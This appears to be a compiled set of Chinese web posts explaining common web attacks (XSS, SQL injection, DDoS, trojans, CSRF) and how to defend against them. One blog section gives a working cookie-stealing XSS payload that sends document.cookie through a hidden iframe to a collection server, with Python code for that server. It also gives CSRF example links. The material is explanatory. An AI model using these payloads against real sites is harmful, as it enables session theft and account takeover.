没有。xsx已经有破解方法，可以通过U盘恢复备份方法来破解。但 xss没被破解，泄露的文件跟操作系统没关系。
1、XSS是跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。
2、恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意攻击用户的特殊目的。
3、XSS攻击分成两类，一类是来自内部的攻击，主要指的是利用程序自身的漏洞，构造跨站语句，如:dvbbs的showerror.asp存在的跨站漏洞。
4、另一类则是来自外部的攻击，主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当要渗透一个站点，自己构造一个有跨站漏洞的网页，然后构造跨站语句，通过结合其它技术，如社会工程学等，欺骗目标服务器的管理员打开。
1、跨站脚本-XSS
相关研究表明，跨站脚本攻击大约占据了所有攻击的40%，是最为常见的一类网络攻击。但尽管最为常见，大部分跨站脚本攻击却不是特别高端，多为业余网络罪犯使用别人编写的脚本发起的。
跨站脚本针对的是网站的用户，而不是Web应用本身。恶意黑客在有漏洞的网站里注入一段代码，然后网站访客执行这段代码。此类代码可以入侵用户账户，激活木马程序，或者修改网站内容，诱骗用户给出私人信息。
防御方法：设置Web应用防火墙可以保护网站不受跨站脚本攻击危害。WAF就像个过滤器，能够识别并阻止对网站的恶意请求。购买网站托管服务的时候，Web托管公司通常已经为你的网站部署了WAF，但你自己仍然可以再设一个。
2、注入攻击
开放Web应用安全项目新出炉的十大应用安全风险研究中，注入漏洞被列为网站最高风险因素。SQL注入方法是网络罪犯最常见的注入方法。
注入攻击方法直接针对网站和服务器的数据库。执行时，攻击者注入一段能够揭示隐藏数据和用户输入的代码，获得数据修改权限，全面俘获应用。
防御方法：保护网站不受注入攻击危害，主要落实到代码库构建上。比如说：缓解SQL注入风险的首选方法就是始终尽量采用参数化语句。更进一步，可以考虑使用第三方身份验证工作流来外包你的数据库防护。
3、模糊测试
开发人员使用模糊测试来查找软件、操作系统或网络中的编程错误和安全漏洞。然而，攻击者可以使用同样的技术来寻找你网站或服务器上的漏洞。
采用模糊测试方法，攻击者首先向应用输入大量随机数据让应用崩溃。下一步就是用模糊测试工具发现应用的弱点，如果目标应用中存在漏洞，攻击者即可展开进一步漏洞利用。
防御方法：对抗模糊攻击的最佳方法就是保持更新安全设置和其他应用，尤其是在安全补丁发布后不更新就会遭遇恶意黑客利用漏洞的情况下。
4、零日攻击
零日攻击是模糊攻击的扩展，但不要求识别漏洞本身。此类攻击最近的案例是谷歌发现的，在Windows和chrome软件中发现了潜在的零日攻击。
在两种情况下，恶意黑客能够从零日攻击中获利。第一种情况是：如果能够获得关于即将到来的安全更新的信息，攻击者就可以在更新上线前分析出漏洞的位置。第二种情况是：网络罪犯获取补丁信息，然后攻击尚未更新系统的用户。这两种情况，系统安全都会遭到破坏，至于后续影响程度，就取决于黑客的技术了。
防御方法：保护自己和自身网站不受零日攻击影响最简便的方法，就是在新版本发布后及时更新你的软件。
5、路径(目录)遍历
路径遍历攻击针对Web
root文件夹，访问目标文件夹外部的未授权文件或目录。攻击者试图将移动模式注入服务器目录，以便向上爬升。成功的路径遍历攻击能够获得网站访问权，染指配置文件、数据库和同一实体服务器上的其他网站和文件。
防御方法：网站能否抵御路径遍历攻击取决于你的输入净化程度。这意味着保证用户输入安全，并且不能从你的服务器恢复出用户输入内容。最直观的建议就是打造你的代码库，这样用户的任何信息都不会传输到文件系统API。即使这条路走不通，也有其他技术解决方案可用。
6、分布式拒绝服务-DDOS
DDoS攻击本身不能使恶意黑客突破安全措施，但会令网站暂时或永久掉线。相关数据显示：单次DDOS攻击可令小企业平均损失12.3万美元，大型企业的损失水平在230万美元左右。
DDoS旨在用请求洪水压垮目标Web服务器，让其他访客无法访问网站。僵尸网络通常能够利用之前感染的计算机从全球各地协同发送大量请求。而且，DDoS攻击常与其他攻击方法搭配使用;攻击者利用DDOS攻击吸引安全系统火力，从而暗中利用漏洞入侵系统。
防御方法：保护网站免遭DDOS攻击侵害一般要从几个方面着手：首先，需通过内容分发网络、负载均衡器和可扩展资源缓解高峰流量。其次，需部署Web应用防火墙，防止DDOS攻击隐蔽注入攻击或跨站脚本等其他网络攻击方法。
7、中间人攻击
中间人攻击常见于用户与服务器间传输数据不加密的网站。作为用户，只要看看网站的URL是不是以https开头就能发现这一潜在风险了，因为HTTPS中的s指的就是数据是加密的，缺了S就是未加密。
攻击者利用中间人类型的攻击收集信息，通常是敏感信息。数据在双方之间传输时可能遭到恶意黑客拦截，如果数据未加密，攻击者就能轻易读取个人信息、登录信息或其他敏感信息。
防御方法：在网站上安装安全套接字层就能缓解中间人攻击风险。SSL证书加密各方间传输的信息，攻击者即使拦截到了也无法轻易破解。现代托管提供商通常已经在托管服务包中配置了SSL证书。
8、暴力破解攻击
暴力破解攻击是获取Web应用登录信息相当直接的一种方式。但同时也是非常容易缓解的攻击方式之一，尤其是从用户侧加以缓解最为方便。
暴力破解攻击中，攻击者试图猜解用户名和密码对，以便登录用户账户。当然，即使采用多台计算机，除非密码相当简单且明显，否则破解过程可能需耗费几年时间。
防御方法：保护登录信息的最佳办法，是创建强密码，或者使用双因子身份验证。作为网站拥有者，你可以要求用户同时设置强密码和2FA，以便缓解网络罪犯猜出密码的风险。
9、使用未知代码或第三方代码
尽管不是对网站的直接攻击，使用由第三方创建的未经验证代码，也可能导致严重的安全漏洞。
代码或应用的原始创建者可能会在代码中隐藏恶意字符串，或者无意中留下后门。一旦将受感染的代码引入网站，那就会面临恶意字符串执行或后门遭利用的风险。其后果可以从单纯的数据传输直到网站管理权限陷落。
防御方法：想要避免围绕潜在数据泄露的风险，让你的开发人员分析并审计代码的有效性。
10、网络钓鱼
网络钓鱼是另一种没有直接针对网站的攻击方法，但我们不能将它除在名单之外，因为网络钓鱼也会破坏你系统的完整性。
网络钓鱼攻击用到的标准工具就是电子邮件。攻击者通常会伪装成其他人，诱骗受害者给出敏感信息或者执行银行转账。此类攻击可以是古怪的419骗局，或者涉及假冒电子邮件地址、貌似真实的网站和极具说服力用语的高端攻击。
防御方法：缓解网络钓鱼骗局风险最有效的方法，是培训员工和自身，增强对此类欺诈的辨识能力。保持警惕，总是检查发送者电子邮件地址是否合法，邮件内容是否古怪，请求是否不合常理。
xss 全称跨站脚本攻击
本身不能对服务器产生影响，而是对浏览者或页面产生影响
分三种，反射型，存储型，DOM型
原理，对用户输入不过滤，导致输入信息转为JavaScript或html执行
简单用法盗取cookie，弹窗，页面跳转等，可配合csrf甚至是sql注入使用。
以上为纯理论，如何构造有效负荷请自行谷歌。
We are CLAY. No system is safe.
"网络攻击的常用手段
1、获取口令
这又有三种方法:一是通过网络监听非法得到用户口令，这类方法有一定的局限性，但危害性极大，监听者往往能够获得其所在网段的所有用户账号和口令，对局域网安全威胁巨大;二是在知道用户的账号后(如电子邮件@前面的部分)利用一些专门软件强行破解用户口令，这种方法不受网段限制，但黑客要有足够的耐心和时间;三是在获得一个服务器上的用户口令文件(此文件成为Shadow文件)后，用暴力破解程序破解用户口令，该方法的使用前提是黑客获得口令的Shadow文件。此方法在所有方法中危害最大，因为它不需要像第二种方法那样一遍又一遍地尝试登录服务器，而是在本地将加密后的口令与Shadow文件中的口令相比较就能非常容易地破获用户密码，尤其对那些弱智用户(指口令安全系数极低的用户，如某用户账号为zys，其口令就是zys666、666666、或干脆就是zys等)更是在短短的一两分钟内，甚至几十秒内就可以将其干掉。
2、放置特洛伊木马程序
特洛伊木马程序可以直接侵入用户的电脑并进行破坏，它常被伪装成工具程序或者游戏等诱使用户打开带有特洛伊木马程序的邮件附件或从网上直接下载，一旦用户打开了这些邮件的附件或者执行了这些程序之后，它们就会象古特洛伊人在敌人城外留下的藏满士兵的木马一样留在自己的电脑中，并在自己的计算机系统中隐藏一个可以在Windows启动时悄悄执行的程序。当您连接到因特网上时，这个程序就会通知黑客，来报告您的IP地址以及预先设定的端口。黑客在收到这些信息后，再利用这个潜伏在其中的程序，就可以任意地修改您的计算机的参数设定、复制文件、窥视你整个硬盘中的内容等，从而达到控制你的计算机的目的。
3、WWW的欺骗技术
在网上用户可以利用IE等浏览器进行各种各样的WEB站点的访问，如阅读新闻组、咨询产品价格、订阅报纸、电子商务等。然而一般的用户恐怕不会想到有这些问题存在:正在访问的网页已经被黑客篡改过，网页上的信息是虚假的!例如黑客将用户要浏览的网页的URL改写为指向黑客自己的服务器，当用户浏览目标网页的时候，实际上是向黑客服务器发出请求，那么黑客就可以达到欺骗的目的了。
4、电子邮件攻击
电子邮件攻击主要表现为两种方式:一是电子邮件轰炸和电子邮件“滚雪球”，也就是通常所说的邮件炸弹，指的是用伪造的IP地址和电子邮件地址向同一信箱发送数以千计、万计甚至无穷多次的内容相同的垃圾邮件，致使受害人邮箱被“炸”，严重者可能会给电子邮件服务器操作系统带来危险，甚至瘫痪;二是电子邮件欺骗，攻击者佯称自己为系统管理员(邮件地址和系统管理员完全相同)，给用户发送邮件要求用户修改口令(口令可能为指定字符串)或在貌似正常的附件中加载病毒或其他木马程序(据笔者所知，某些单位的网络管理员有定期给用户免费发送防火墙升级程序的义务，这为黑客成功地利用该方法提供了可乘之机)，这类欺骗只要用户提高警惕，一般危害性不是太大。
5、通过一个节点来攻击其他节点
黑客在突破一台主机后，往往以此主机作为根据地，攻击其他主机(以隐蔽其入侵路径，避免留下蛛丝马迹)。他们可以使用网络监听方法，尝试攻破同一网络内的其他主机;也可以通过IP欺骗和主机信任关系，攻击其他主机。这类攻击很狡猾，但由于某些技术很难掌握，如IP欺骗，因此较少被黑客使用。
6、网络监听
网络监听是主机的一种工作模式，在这种模式下，主机可以接受到本网段在同一条物理通道上传输的所有信息，而不管这些信息的发送方和接受方是谁。此时，如果两台主机进行通信的信息没有加密，只要使用某些网络监听工具，例如NetXray for windows 95/98/nt，sniffit for linux 、solaries等就可以轻而易举地截取包括口令和帐号在内的信息资料。虽然网络监听获得的用户帐号和口令具有一定的局限性，但监听者往往能够获得其所在网段的所有用户帐号及口令。
7、寻找系统漏洞
许多系统都有这样那样的安全漏洞(Bugs)，其中某些是操作系统或应用软件本身具有的，如Sendmail漏洞，win98中的共享目录密码验证漏洞和IE5漏洞等，这些漏洞在补丁未被开发出来之前一般很难防御黑客的破坏，除非你将网线拔掉;还有一些漏洞是由于系统管理员配置错误引起的，如在网络文件系统中，将目录和文件以可写的方式调出，将未加Shadow的用户密码文件以明码方式存放在某一目录下，这都会给黑客带来可乘之机，应及时加以修正。
8、利用帐号进行攻击
有的黑客会利用操作系统提供的缺省账户和密码进行攻击，例如许多UNIX主机都有FTP和Guest等缺省账户(其密码和账户名同名)，有的甚至没有口令。黑客用Unix操作系统提供的命令如Finger和Ruser等收集信息，不断提高自己的攻击能力。这类攻击只要系统管理员提高警惕，将系统提供的缺省账户关掉或提醒无口令用户增加口令一般都能克服。
9、偷取特权
利用各种特洛伊木马程序、后门程序和黑客自己编写的导致缓冲区溢出的程序进行攻击，前者可使黑客非法获得对用户机器的完全控制权，后者可使黑客获得超级用户的权限，从而拥有对整个网络的绝对控制权。这种攻击手段，一旦奏效，危害性极大。
10、端口攻击
如果是基于Windows 95/NT的操作系统，而且没有安装过Patch，那么就极易受到攻击，这个漏洞是由OOB引起的，OOB是Out Of Band的缩写，是TCP/IP的一种传输模式。攻击的原理是以OOB方式通过TCP/IP端口139向对端的Windows 95/NT传送0byte的数据包，这种攻击会使计算机处于瘫痪状态，无法再工作。在windows98 OSR2版本和WindowsNT 4.0 Service Pack5中微软公司已更正了该错误。
我们常用的端口是：21(FTP)、23(Telnet)、25(Mail)、70(Gopher)、80(Http)，针对端口最快速的攻击方法是基于Telnet协议。Telnet可以快速判断某特定端口是否打开以及服务器是否运行;还有黑客利用Telnet来进行服务器拒绝式攻击，例如，向WindowsNT Web服务器的所有端口发送垃圾数据会导致目标处理器资源消耗高达100%，向其他端口发送Telnet请求也可能导致主机挂起或崩溃，尤其是向端口135发送Telnet连接请求时。防范的方法，如果不是非常必要，关闭Telnet端口。
一般用户不要裸机，一定要用个360之类的杀软保护电脑"
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
http://example.com/bbs/create_post.php?title=标题content=内容
那么，我只需要在论坛中发一帖，包含一链接：
http://example.com/bbs/create_post.php?title=我是脑残content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。
我来说两句